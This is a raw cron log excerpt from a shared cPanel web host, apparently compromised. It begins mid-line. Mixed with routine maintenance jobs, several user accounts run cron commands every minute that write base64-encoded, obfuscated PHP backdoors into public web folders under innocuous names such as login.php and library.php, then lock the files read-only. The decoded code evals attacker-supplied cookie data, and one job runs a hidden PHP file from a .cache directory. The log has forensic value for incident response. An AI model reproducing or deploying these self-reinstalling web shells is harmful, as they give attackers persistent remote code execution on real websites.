CAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:37:01 medusa CROND[3315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:37:01 medusa CROND[3316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:37:01 medusa CROND[3317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:37:01 medusa CROND[3320]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:37:01 medusa CROND[3323]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:37:01 medusa CROND[3321]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:37:01 medusa CROND[3329]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:37:01 medusa CROND[3333]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:38:01 medusa CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:38:01 medusa CROND[20750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:38:01 medusa CROND[20854]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:38:01 medusa CROND[20856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:38:01 medusa CROND[20857]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:38:01 medusa CROND[20858]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:38:01 medusa CROND[20860]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:38:01 medusa CROND[20861]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:38:01 medusa CROND[20866]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:38:01 medusa CROND[20869]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:38:01 medusa CROND[20878]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:38:01 medusa CROND[20879]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:38:01 medusa CROND[20882]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:39:01 medusa CROND[9559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:39:01 medusa CROND[9566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:39:01 medusa CROND[9572]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 05:39:01 medusa CROND[9573]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:39:01 medusa CROND[9574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:39:01 medusa CROND[9576]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:39:01 medusa CROND[9580]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:39:01 medusa CROND[9582]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
